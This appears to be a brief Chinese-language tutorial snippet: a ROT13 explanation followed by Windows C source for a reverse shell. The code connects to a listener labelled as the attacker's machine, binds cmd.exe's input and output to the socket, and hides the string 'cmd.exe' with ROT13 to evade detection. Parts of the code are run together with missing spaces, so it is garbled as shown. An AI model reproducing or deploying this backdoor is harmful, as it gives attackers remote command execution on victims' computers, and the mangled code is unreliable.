字母替换,旋转13个位置,字母共26个,因此加密算法也是解密算法
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>#pragma comment(lib, "ws2_32.lib")WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;void rot13Transform(char *str) {
while (*str) {if ((*str >= 'A' && *str <= 'Z')) {*str = ((*str - 'A' + 13) % 26) + 'A';} elseif ((*str >= 'a' && *str <= 'z')) {*str = ((*str - 'a' + 13) % 26) + 'a';}str++;}
}void rot13Encrypt(char *str) {
rot13Transform(str);
}void rot13Decrypt(char *str) {
// ROT13 encryption and decryption are the same
rot13Transform(str);
}int main(int argc, char* argv[]) {
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);// create socketwSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);hax.sin_family = AF_INET;hax.sin_port = htons(port);hax.sin_addr.s_addr = inet_addr(ip);// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);memset(&sui, 0, sizeof(sui));sui.cb = sizeof(sui);sui.dwFlags = STARTF_USESTDHANDLES;// String to be decrypted via ROT13
char command[] = "pzq.rkr";// Decrypt the string using ROT13
rot13Decrypt(command);sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;// start the decrypted command with redirected streams
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
cmd.exe变成pzq.rkr